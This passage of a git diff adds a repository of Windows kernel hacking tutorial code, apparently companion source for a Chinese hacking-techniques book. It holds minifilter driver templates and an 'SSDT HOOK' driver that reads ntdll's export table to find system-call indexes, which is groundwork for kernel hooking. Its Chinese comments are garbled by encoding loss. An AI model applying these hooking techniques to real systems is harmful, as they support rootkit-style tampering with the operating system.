Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Win7Debug/Minifilter_FileMonitor_Test.inf" new file mode 100644 index 0000000..df69c6a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Win7Debug/Minifilter_FileMonitor_Test.inf" @@ -0,0 +1,100 @@ +;;; +;;; Minifilter_FileMonitor_Test +;;; + +[Version] +Signature = "$Windows NT$" +; TODO - Change the Class and ClassGuid to match the Load Order Group value, see http://msdn.microsoft.com/en-us/windows/hardware/gg462963 +; Class = "ActivityMonitor" ;This is determined by the work this filter driver does +; ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Load Order Group value +Class = "_TODO_Change_Class_appropriately_" +ClassGuid = {_TODO_Change_ClassGuid_appropriately_} +Provider = %ManufacturerName% +DriverVer=10/19/2017,14.12.52.669 +CatalogFile = Minifilter_FileMonitor_Test.cat + +[DestinationDirs] +DefaultDestDir = 12 +MiniFilter.DriverFiles = 12 ;%windir%\system32\drivers + +;; +;; Default install sections +;; + +[DefaultInstall] +OptionDesc = %ServiceDescription% +CopyFiles = MiniFilter.DriverFiles + +[DefaultInstall.Services] +AddService = %ServiceName%,,MiniFilter.Service + +;; +;; Default uninstall sections +;; + +[DefaultUninstall] +DelFiles = MiniFilter.DriverFiles + +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting + +; +; Services Section +; + +[MiniFilter.Service] +DisplayName = %ServiceName% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ +Dependencies = "FltMgr" +ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +; TODO - Change the Load Order Group value, see http://connect.microsoft.com/site221/content/content.aspx?ContentID=2512 +; LoadOrderGroup = "FSFilter Activity Monitor" +LoadOrderGroup = "_TODO_Change_LoadOrderGroup_appropriately_" +AddReg = MiniFilter.AddRegistry + +; +; Registry Modifications +; + +[MiniFilter.AddRegistry] +HKR,,"DebugFlags",0x00010001 ,0x0 +HKR,,"SupportedFeatures",0x00010001,0x3 +HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% +HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% +HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% + +; +; Copy Files +; + +[MiniFilter.DriverFiles] +%DriverName%.sys + +[SourceDisksFiles] +Minifilter_FileMonitor_Test.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +;; +;; String Section +;; + +[Strings] +; TODO - Add your manufacturer +ManufacturerName = "Template" +ServiceDescription = "Minifilter_FileMonitor_Test Mini-Filter Driver" +ServiceName = "Minifilter_FileMonitor_Test" +DriverName = "Minifilter_FileMonitor_Test" +DiskId1 = "Minifilter_FileMonitor_Test Device Installation Disk" + +;Instances specific information. +DefaultInstance = "Minifilter_FileMonitor_Test Instance" +Instance1.Name = "Minifilter_FileMonitor_Test Instance" +; TODO - Change the altitude value, see http://connect.microsoft.com/site221/content/content.aspx?ContentID=2512 +Instance1.Altitude = "370030" +Instance.Altitude = "_TODO_Change_Altitude_appropriately_" +Instance1.Flags = 0x0 ; Allow all attachments diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Win7Debug/start.bat" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Win7Debug/start.bat" new file mode 100644 index 0000000..3d3baa6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/Win7Debug/start.bat" @@ -0,0 +1,5 @@ +@echo on +net start Minifilter_FileMonitor_Test +pause +net stop Minifilter_FileMonitor_Test +pause diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/x64/Win8.1Debug/Minifilter_FileMonitor_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/x64/Win8.1Debug/Minifilter_FileMonitor_Test.inf" new file mode 100644 index 0000000..4927e1e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/x64/Win8.1Debug/Minifilter_FileMonitor_Test.inf" @@ -0,0 +1,100 @@ +;;; +;;; Minifilter_FileMonitor_Test +;;; + +[Version] +Signature = "$Windows NT$" +; TODO - Change the Class and ClassGuid to match the Load Order Group value, see http://msdn.microsoft.com/en-us/windows/hardware/gg462963 +; Class = "ActivityMonitor" ;This is determined by the work this filter driver does +; ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Load Order Group value +Class = "_TODO_Change_Class_appropriately_" +ClassGuid = {_TODO_Change_ClassGuid_appropriately_} +Provider = %ManufacturerName% +DriverVer=10/19/2017,14.12.47.926 +CatalogFile = Minifilter_FileMonitor_Test.cat + +[DestinationDirs] +DefaultDestDir = 12 +MiniFilter.DriverFiles = 12 ;%windir%\system32\drivers + +;; +;; Default install sections +;; + +[DefaultInstall] +OptionDesc = %ServiceDescription% +CopyFiles = MiniFilter.DriverFiles + +[DefaultInstall.Services] +AddService = %ServiceName%,,MiniFilter.Service + +;; +;; Default uninstall sections +;; + +[DefaultUninstall] +DelFiles = MiniFilter.DriverFiles + +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting + +; +; Services Section +; + +[MiniFilter.Service] +DisplayName = %ServiceName% +Description = %ServiceDescription% +ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\ +Dependencies = "FltMgr" +ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER +StartType = 3 ;SERVICE_DEMAND_START +ErrorControl = 1 ;SERVICE_ERROR_NORMAL +; TODO - Change the Load Order Group value, see http://connect.microsoft.com/site221/content/content.aspx?ContentID=2512 +; LoadOrderGroup = "FSFilter Activity Monitor" +LoadOrderGroup = "_TODO_Change_LoadOrderGroup_appropriately_" +AddReg = MiniFilter.AddRegistry + +; +; Registry Modifications +; + +[MiniFilter.AddRegistry] +HKR,,"DebugFlags",0x00010001 ,0x0 +HKR,,"SupportedFeatures",0x00010001,0x3 +HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance% +HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude% +HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags% + +; +; Copy Files +; + +[MiniFilter.DriverFiles] +%DriverName%.sys + +[SourceDisksFiles] +Minifilter_FileMonitor_Test.sys = 1,, + +[SourceDisksNames] +1 = %DiskId1%,,, + +;; +;; String Section +;; + +[Strings] +; TODO - Add your manufacturer +ManufacturerName = "Template" +ServiceDescription = "Minifilter_FileMonitor_Test Mini-Filter Driver" +ServiceName = "Minifilter_FileMonitor_Test" +DriverName = "Minifilter_FileMonitor_Test" +DiskId1 = "Minifilter_FileMonitor_Test Device Installation Disk" + +;Instances specific information. +DefaultInstance = "Minifilter_FileMonitor_Test Instance" +Instance1.Name = "Minifilter_FileMonitor_Test Instance" +; TODO - Change the altitude value, see http://connect.microsoft.com/site221/content/content.aspx?ContentID=2512 +Instance1.Altitude = "370030" +Instance.Altitude = "_TODO_Change_Altitude_appropriately_" +Instance1.Flags = 0x0 ; Allow all attachments diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/x64/Win8.1Debug/start.bat" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/x64/Win8.1Debug/start.bat" new file mode 100644 index 0000000..3d3baa6 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/Minifilter\346\226\207\344\273\266\347\233\221\346\216\247/Minifilter_FileMonitor_Test/x64/Win8.1Debug/start.bat" @@ -0,0 +1,5 @@ +@echo on +net start Minifilter_FileMonitor_Test +pause +net stop Minifilter_FileMonitor_Test +pause diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/README.md" new file mode 100644 index 0000000..53824f0 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/README.md" @@ -0,0 +1,6 @@ +## 说明 + +这里的教程是《WINDOWS黑客编程技术详解》一书中的配套源码 + +我觉得在一定情况下你们会需要这些教程的 + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.sln" new file mode 100644 index 0000000..99f2e68 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.sln" @@ -0,0 +1,64 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GetSSDTFunctionIndex_Test", "GetSSDTFunctionIndex_Test\GetSSDTFunctionIndex_Test.vcxproj", "{21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Win7 Debug|Win32 = Win7 Debug|Win32 + Win7 Debug|x64 = Win7 Debug|x64 + Win7 Release|Win32 = Win7 Release|Win32 + Win7 Release|x64 = Win7 Release|x64 + Win8 Debug|Win32 = Win8 Debug|Win32 + Win8 Debug|x64 = Win8 Debug|x64 + Win8 Release|Win32 = Win8 Release|Win32 + Win8 Release|x64 = Win8 Release|x64 + Win8.1 Debug|Win32 = Win8.1 Debug|Win32 + Win8.1 Debug|x64 = Win8.1 Debug|x64 + Win8.1 Release|Win32 = Win8.1 Release|Win32 + Win8.1 Release|x64 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Debug|Win32.ActiveCfg = Win7 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Debug|Win32.Build.0 = Win7 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Debug|Win32.Deploy.0 = Win7 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Debug|x64.ActiveCfg = Win7 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Debug|x64.Build.0 = Win7 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Debug|x64.Deploy.0 = Win7 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Release|Win32.ActiveCfg = Win7 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Release|Win32.Build.0 = Win7 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Release|Win32.Deploy.0 = Win7 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Release|x64.ActiveCfg = Win7 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Release|x64.Build.0 = Win7 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win7 Release|x64.Deploy.0 = Win7 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Debug|Win32.ActiveCfg = Win8 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Debug|Win32.Build.0 = Win8 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Debug|Win32.Deploy.0 = Win8 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Debug|x64.ActiveCfg = Win8 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Debug|x64.Build.0 = Win8 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Debug|x64.Deploy.0 = Win8 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Release|Win32.ActiveCfg = Win8 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Release|Win32.Build.0 = Win8 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Release|Win32.Deploy.0 = Win8 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Release|x64.ActiveCfg = Win8 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Release|x64.Build.0 = Win8 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8 Release|x64.Deploy.0 = Win8 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Debug|Win32.ActiveCfg = Win8.1 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Debug|Win32.Build.0 = Win8.1 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Debug|Win32.Deploy.0 = Win8.1 Debug|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Debug|x64.ActiveCfg = Win8.1 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Debug|x64.Build.0 = Win8.1 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Debug|x64.Deploy.0 = Win8.1 Debug|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Release|Win32.ActiveCfg = Win8.1 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Release|Win32.Build.0 = Win8.1 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Release|Win32.Deploy.0 = Win8.1 Release|Win32 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E}.Win8.1 Release|x64.Deploy.0 = Win8.1 Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.v12.suo" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.v12.suo" new file mode 100644 index 0000000..80251ce Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.v12.suo" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/Driver.c" new file mode 100644 index 0000000..4a0d25c --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/Driver.c" @@ -0,0 +1,41 @@ +#include "Driver.h" +#include "SSDTFunctionIndex.h" + + +NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) +{ + DbgPrint("Enter DriverEntry\n"); + + NTSTATUS status = STATUS_SUCCESS; + pDriverObject->DriverUnload = DriverUnload; + for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + { + pDriverObject->MajorFunction[i] = DriverDefaultHandle; + } + + // ntdll.dll лȡ SSDT + UNICODE_STRING ustrDllFileName; + RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); + ULONG ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwOpenProcess"); + DbgPrint("ZwOpenProcess[%d]\n", ulSSDTFunctionIndex); + + DbgPrint("Leave DriverEntry\n"); + return status; +} + + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject) +{ +} + + +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) +{ + NTSTATUS status = STATUS_SUCCESS; + pIrp->IoStatus.Status = status; + pIrp->IoStatus.Information = 0; + IoCompleteRequest(pIrp, IO_NO_INCREMENT); + + return status; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/Driver.h" new file mode 100644 index 0000000..0822089 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/Driver.h" @@ -0,0 +1,12 @@ +#ifndef _DRIVER_H_ +#define _DRIVER_H_ + + +#include + + +VOID DriverUnload(PDRIVER_OBJECT pDriverObject); +NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp); + + +#endif \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.inf" new file mode 100644 index 0000000..2ce4c80 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.inf" @@ -0,0 +1,32 @@ +; +; GetSSDTFunctionIndex_Test.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class= +ClassGuid= +Provider= +DriverVer= +CatalogFile= + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" +ClassName="" +DiskName="GetSSDTFunctionIndex_Test Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj" new file mode 100644 index 0000000..e5a9dd5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj" @@ -0,0 +1,261 @@ + + + + + Win8.1 Debug + Win32 + + + Win8.1 Release + Win32 + + + Win8 Debug + Win32 + + + Win8 Release + Win32 + + + Win7 Debug + Win32 + + + Win7 Release + Win32 + + + Win8.1 Debug + x64 + + + Win8.1 Release + x64 + + + Win8 Debug + x64 + + + Win8 Release + x64 + + + Win7 Debug + x64 + + + Win7 Release + x64 + + + + {21BDE8C9-BD4A-4CB5-AB6D-91F5FE89FA1E} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 11.0 + Win8.1 Debug + Win32 + GetSSDTFunctionIndex_Test + + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + WindowsV6.3 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows8 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + true + WindowsKernelModeDriver8.1 + Driver + WDM + + + Windows7 + false + WindowsKernelModeDriver8.1 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + Level3 + + + + + false + + + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj.filters" new file mode 100644 index 0000000..baac145 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj.filters" @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj.user" new file mode 100644 index 0000000..14e421f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test.vcxproj.user" @@ -0,0 +1,15 @@ + + + + Off + + + Off + + + Off + + + Off + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/SSDTFunctionIndex.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/SSDTFunctionIndex.c" new file mode 100644 index 0000000..d320925 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Window Kernel Hack/SSDT HOOK/GetSSDTFunctionIndex_Test/GetSSDTFunctionIndex_Test/SSDTFunctionIndex.c" @@ -0,0 +1,116 @@ +#include "SSDTFunctionIndex.h" + + +// ntdll.dll лȡ SSDT +ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + PVOID pBaseAddress = NULL; + + // ڴӳļ + status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); + if (!NT_SUCCESS(status)) + { + KdPrint(("DllFileMap Error!\n")); + return ulFunctionIndex; + } + + // ݵȡַ, Ӷȡ SSDT + ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); + + // ͷ + ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); + ZwClose(hSection); + ZwClose(hFile); + + return ulFunctionIndex; +} + + +// ڴӳļ +NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) +{ + NTSTATUS status = STATUS_SUCCESS; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES objectAttributes = { 0 }; + IO_STATUS_BLOCK iosb = { 0 }; + PVOID pBaseAddress = NULL; + SIZE_T viewSize = 0; + // DLL ļ, ȡļ + InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); + status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, + FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); + if (!NT_SUCCESS(status)) + { + KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); + return status; + } + // һڶ, PE ṹе SectionALignment Сӳļ + status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); + return status; + } + // ӳ䵽ڴ + status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); + if (!NT_SUCCESS(status)) + { + ZwClose(hSection); + ZwClose(hFile); + KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); + return status; + } + + // + *phFile = hFile; + *phSection = hSection; + *ppBaseAddress = pBaseAddress; + + return status; +} + + +// ݵȡַ, Ӷȡ SSDT +ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) +{ + ULONG ulFunctionIndex = 0; + // Dos Header + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; + // NT Header + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); + // Export Table + PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + // Ƶĵ + ULONG ulNumberOfNames = pExportTable->NumberOfNames; + // Ƶַ + PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); + PCHAR lpName = NULL; + // ʼ + for (ULONG i = 0; i < ulNumberOfNames; i++) + { 